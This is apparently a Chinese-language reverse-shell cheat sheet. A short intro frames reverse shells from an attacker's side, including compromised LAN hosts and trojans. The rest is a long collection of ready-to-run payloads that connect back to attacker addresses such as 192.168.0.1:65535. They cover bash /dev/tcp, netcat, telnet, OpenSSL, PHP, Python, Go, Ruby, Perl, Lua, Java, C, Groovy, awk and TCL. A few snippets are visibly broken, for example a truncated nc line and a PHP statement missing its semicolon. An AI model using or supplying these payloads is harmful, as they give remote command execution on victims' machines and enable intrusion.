本文介绍了反弹shell（reverse shell），它是控制端监听端口，被控端发起请求并将命令行输入输出转到控制端，与标准shell角色反转。常用于被控端受限情况，还列举了正向连接不可用的场景。此外，介绍了以bash为例的原生方式，以及工具类、程序类的实现方法。
什么是反弹shell？
反弹shell（reverse shell），就是控制端监听在某TCP/UDP端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制端。reverse shell与telnet，ssh等标准shell对应，本质上是网络概念的客户端与服务端的角色反转。
为什么要反弹shell？
通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
举例：假设我们攻击了一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（目标ip：目标机器端口），这是比较常规的形式，我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢？
有如下情况：
1.某客户机中了你的网马，但是它在局域网内，你直接连接不了。
2.目标机器的ip动态改变，你不能持续控制。
3.由于防火墙等限制，对方机器只能发送请求，不能接收请求。
4.对于病毒，木马，受害者什么时候能中招，对方的网络环境是什么样的，什么时候开关机等情况都是未知的，所以建立一个服务端让恶意程序主动连接，才是上策。
那么反弹就很好理解了，攻击者指定服务端，受害者主机主动连接攻击者的服务端程序，就叫反弹连接。
原生 (以bash为例)
#!/bin/bash
bash -c '...' 2> /dev/null
tcp
#!/bin/bash
bash -i >& /dev/tcp/192.168.0.1/65535 0>&1
#!/bin/bash
# 使用域名
bash -i >& /dev/tcp/host.domain/65535 0>&1
#!/bin/bash
0<&196;
exec 196<>/dev/tcp/192.168.0.1/65535;
bash <&196 >&196 2>&196
udp
#!/bin/bash
bash -i >& /dev/udp/192.168.0.1/65535 0>&1
#!/bin/bash
# 使用域名
bash -i >& /dev/udp/host.domain/65535 0>&1
#!/bin/bash
0<&196;
exec 196<>/dev/udp/192.168.0.1/65535;
bash <&196 >&196 2>&196
工具类
NC
#!/bin/bash
nc -e /bin/bash 192.168.0.1 65535
#!/bin/bash
/bin/bash | nc 192.168.0.1 65535
#!/bin/bash
nc 192.168.0.1 65535 |/bin/bash
#!/bin/bash
rm -f /tmp/p;
mknod /tmp/p p && nc 192.168.0.1 65535 0/tmp/
#!/bin/bash
rm /tmp/f;
mkfifo /tmp/f;
cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.1 65535 >/tmp/f
NCat
#!/bin/bash
ncat 192.168.1.215 3000 -e /bin/bash
Telnet
#!/bin/bash
telnet 192.168.0.1 65534 | /bin/bash | telnet 192.168.0.1 65535
#!/bin/bash
mknod backpipe p && telnet 192.168.0.1 65535 0<backpipe | /bin/bash 1>backpipe
OpenSSL
#!/bin/bash
mkfifo /tmp/s;
/bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.1:65535 > /tmp/s; rm /tmp/s
cryptcat
#!/bin/bash
cryptcat 192.168.0.1 65534 -k sec|cmd.exe|cryptcat 192.168.0.1 65535 -k sec
程序类
PHP
php -r "..."
<?php
error_reporting (E_ERROR);
ignore_user_abort(true);
ini_set('max_execution_time',0);
$os = substr(PHP_OS,0,3);
$ipaddr = '192.168.0.1';
$port = '65535';
$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));
$cwd = getcwd();
$msg = php_uname()
if($os == 'WIN') {
$env = array('path' => 'c:\\windows\\system32');
} else {
$env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
}
if(function_exists('fsockopen')) {
$sock = fsockopen($ipaddr,$port);
fwrite($sock,$msg);
while ($cmd = fread($sock,1024)) {
if (substr($cmd,0,3) == 'cd ') {
$cwd = trim(substr($cmd,3,-1));
chdir($cwd);
$cwd = getcwd();
}
if (trim(strtolower($cmd)) == 'exit') {
break;
} else {
$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
if (is_resource($process)) {
fwrite($pipes[0],$cmd);
fclose($pipes[0]);
$msg = stream_get_contents($pipes[1]);
fwrite($sock,$msg);
fclose($pipes[1]);
$msg = stream_get_contents($pipes[2]);
fwrite($sock,$msg);
fclose($pipes[2]);
proc_close($process);
}
}
}
fclose($sock);
} else {
$sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
socket_connect($sock,$ipaddr,$port);
socket_write($sock,$msg);
fwrite($sock,$msg);
while ($cmd = socket_read($sock,1024)) {
if (substr($cmd,0,3) == 'cd ') {
$cwd = trim(substr($cmd,3,-1));
chdir($cwd);
$cwd = getcwd();
}
if (trim(strtolower($cmd)) == 'exit') {
break;
} else {
$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
if (is_resource($process)) {
fwrite($pipes[0],$cmd);
fclose($pipes[0]);
$msg = stream_get_contents($pipes[1]);
socket_write($sock,$msg,strlen($msg));
fclose($pipes[1]);
$msg = stream_get_contents($pipes[2]);
socket_write($sock,$msg,strlen($msg));
fclose($pipes[2]);
proc_close($process);
}
}
}
socket_close($sock);
}
?>
#!/bin/bash
php -r "error_reporting(E_ERROR);ignore_user_abort(true);ini_set('max_execution_time',0);\$os=substr(PHP_OS,0,3);\$ipaddr='192.168.0.1';\$port='65535';\$descriptorspec=array(0=>array(\"pipe\",\"r\"),1=>array(\"pipe\",\"w\"),2=>array(\"pipe\",\"w\"));\$cwd=getcwd();\$msg=php_uname()if(\$os=='WIN'){\$env=array('path'=>'c:\\windows\\system32');}else{\$env=array('path'=>'/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');}if(function_exists('fsockopen')){\$sock=fsockopen(\$ipaddr,\$port);fwrite(\$sock,\$msg);while(\$cmd=fread(\$sock,1024)){if(substr(\$cmd,0,3)=='cd'){\$cwd=trim(substr(\$cmd,3,-1));chdir(\$cwd);\$cwd=getcwd();}if(trim(strtolower(\$cmd))=='exit'){break;}else{\$process=proc_open(\$cmd,\$descriptorspec,\$pipes,\$cwd,\$env);if(is_resource(\$process)){fwrite(\$pipes[0],\$cmd);fclose(\$pipes[0]);\$msg=stream_get_contents(\$pipes[1]);fwrite(\$sock,\$msg);fclose(\$pipes[1]);\$msg=stream_get_contents(\$pipes[2]);fwrite(\$sock,\$msg);fclose(\$pipes[2]);proc_close(\$process);}}}fclose(\$sock);}else{\$sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_connect(\$sock,\$ipaddr,\$port);socket_write(\$sock,\$msg);fwrite(\$sock,\$msg);while(\$cmd=socket_read(\$sock,1024)){if(substr(\$cmd,0,3)=='cd'){\$cwd=trim(substr(\$cmd,3,-1));chdir(\$cwd);\$cwd=getcwd();}if(trim(strtolower(\$cmd))=='exit'){break;}else{\$process=proc_open(\$cmd,\$descriptorspec,\$pipes,\$cwd,\$env);if(is_resource(\$process)){fwrite(\$pipes[0],\$cmd);fclose(\$pipes[0]);\$msg=stream_get_contents(\$pipes[1]);socket_write(\$sock,\$msg,strlen(\$msg));fclose(\$pipes[1]);\$msg=stream_get_contents(\$pipes[2]);socket_write(\$sock,\$msg,strlen(\$msg));fclose(\$pipes[2]);proc_close(\$process);}}}socket_close(\$sock);}"
<?php
$sock=fsockopen("192.168.0.1"，65535);
exec("/bin/bash -i <&3 >&3 2>&3");
?>
#!/bin/bash
php -r "\$sock=fsockopen(\"192.168.0.1\"，65535);exec(\"/bin/bash -i <&3 >&3 2>&3\");"
<?php
exec("/bin/bash -i >& /dev/tcp/192.168.0.1/65535");
?>
#!/bin/bash
php -r "exec(\"/bin/bash -i >& /dev/tcp/192.168.0.1/65535\");"
Python
#!bin/bash
python -c "..."
#!/usr/bin/python
import socket,subprocess,os
s=socket.socket()
s.connect(("192.168.0.1",65535))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
#!/bin/bash
python -c "import socket,subprocess,os;s=socket.socket();s.connect((\"192.168.0.1\",65535));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"])"
#!usr/bin/python
import sys,socket,os,pty;
s=socket.socket()
s.connect(("192.168.0.1",65535))
for fd in (0,1,2):
os.dup2(s.fileno(),fd)
pty.spawn("/bin/bash")
#!/bin/bash
python -c "import sys,socket,os,pty;s=socket.socket();s.connect((\"192.168.0.1\",65535));for fd in (0,1,2):os.dup2(s.fileno(),fd);pty.spawn(\"/bin/bash\");"
#!/usr/bin/python
import socket, subprocess
s = socket.socket()
s.connect(('192.168.0.1',65535))
while 1:
proc = subprocess.Popen(s.recv(1024),\
shell=True,\
stdout=subprocess.PIPE,\
stderr=subprocess.PIPE,\
stdin=subprocess.PIPE\
)
s.send(proc.stdout.read()+proc.stderr.read())
#!/usr/bin/python
import os
os.system('bash -i >& /dev/tcp/192.168.0.1/65535 0>&1')
GoLang
echo '...' > /tmp/t.go
package main;
import"os/exec";
import"net";
func main()
{
c,_:=net.Dial("tcp","192.168.0.1:65535");
cmd:=exec.Command("/bin/bash");
cmd.Stdin=c;
cmd.Stdout=c;
cmd.Stderr=c;
cmd.Run()}
package main
import (
"log"
"os/exec"
)
func main() {
cmdline := "exec 5<>/dev/tcp/192.168.0.1/65535;cat <&5 | while read line; do $line 2>&5 >&5; done"
cmd := exec.Command("/bin/bash", "-c", cmdline)
bytes, err := cmd.Output()
if err != nil {
log.Println(err)
}
resp := string(bytes)
log.Println(resp)
}
package main
import (
os/exec
)
func main(){
cmdline := "bash -i >& /dev/tcp/192.168.0.1/65535 0>&1"
cmd := exec.Command("/bin/bash", "-c", cmdline)
#!/bin/bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.1.215:3000");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
Ruby
ruby -rsocket -e '...'
#!/usr/bin/ruby
require 'socket'
require 'open3'
#Set the Remote Host IP
RHOST = "192.168.0.1"
#Set the Remote Host Port
PORT = "65535"
#Tries to connect every 20 sec until it connects.
begin
sock = TCPSocket.new "#{RHOST}", "#{PORT}"
sock.puts "We are connected!"
rescue
sleep 20
retry
end
#Runs the commands you type and sends you back the stdout and stderr.
begin
while line = sock.gets
Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
IO.copy_stream(stdout_and_stderr, sock)
end
end
rescue
retry
end
#!/usr/bin/ruby
exit if fork;c=TCPSocket.new("192.168.0.1","65535");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end
#!/usr/bin/ruby
exec 'bash -i >& /dev/tcp/192.168.0.1/65535 0>&1'
#!/bin/bash
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.215","3000");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Perl
#!/bin/bash
perl -e '...'
perl -MIO -e '...'
#!/usr/bin/perl
use Socket;
$i="192.168.0.1";
$p=65535;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i))))
{
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/bash -i");
};
#!/usr/bin/perl
$p=fork;
exit,if($p);
$c=new IO::Socket::INET(PeerAddr,"192.168.0.1:65535");
STDIN->fdopen($c,r);
$~->fdopen($c,w);
system$_ while<>;
#！/usr/bin/perl
exec('bash -i >& /dev/tcp/192.168.0.1/65535 0>&1')
#!/bin/bash
perl -e 'use Socket;$i="192.168.1.215";$p=3000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
#!/bin/bash
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.1.215:3000");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Lua
lua -e '...'
#!/usr/bin/lua
local host, port = "192.168.0.1", 65535
local socket = require("socket")
local tcp = socket.tcp()
local io = require("io")
tcp:connect(host, port);
while true
do local cmd, status, partial = tcp:receive()
local f = io.popen(cmd, "r")
local s = f:read("*a")
f:close()
tcp:send(s)
if status == "closed"
then break
end
end
tcp:close()
#!/usr/bin/lua
local socket=require('socket');
require('os');
t=socket.tcp();
t:connect('192.168.0.1','65535');
os.execute('/bin/bash -i <&3>&3 2>&3')
local io = require('io')
io.popen('bash -i >& /dev/tcp/192.168.0.1/65535 0>&1')
#!/bin/bash
lua -e "local socket=require('socket');require('os');t=socket.tcp();t:connect('192.168.1.215','3000');os.execute('/bin/sh -i <&3>&3 2>&3');"
Java
echo '...' > /tmp/t.java
public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.0.1/65535;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}
C
echo '...' > /tmp/t.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
void usage();
char shell[]="/bin/bash";
char message[]="hacker welcome\n";
int sock;
int main(int argc, char *argv[]) {
if(argc <3){
usage(argv[0]);
}
struct sockaddr_in server;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Couldn't make socket!n"); exit(-1);
}
server.sin_family = AF_INET;
server.sin_port = htons(65535);
server.sin_addr.s_addr = inet_addr("192.168.0.1");
if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
printf("Could not connect to remote shell!n");
exit(-1);
}
send(sock, message, sizeof(message), 0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl(shell,"/bin/bash",(char *)0);
close(sock);
return 1;
}
void usage(char *prog[]) {
printf("Usage: %s <reflect ip> <port>n", prog);
exit(-1);
}
#include <stdlib.h>
int main(int argc, char *argv[])
{
system(“bash -i >& /dev/tcp/192.168.0.1/65535 0>&1”);
return 0;
}
Groovy
echo '...' > /tmp/t
class ReverseShell {
static void main(String[] args) {
String host="192.168.0.1";
int port=65535;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){}
};
p.destroy();
s.close();
}
}
awk/gawk
#!/bin/bash
awk "..."
#gawk "..."
BEGIN{
s="/inet/tcp/0/192.168.0.1/65535";
while(1){
do{
s|&getline c;
if(c){
while((c|&getline)>0)
print $0|&s;
close(c)
}
}
while(c!="exit");
close(s)
}
}
TCL脚本
echo '...' |tclsh
set s [socket 192.168.0.1 65535];
while 42 {
puts -nonewline $s "shell>";
flush $s;
gets $s c;
set e "exec $c";
if {![catch {set r [eval $e]} err]} {
puts $s $r
};
flush $s;
};
close $s;
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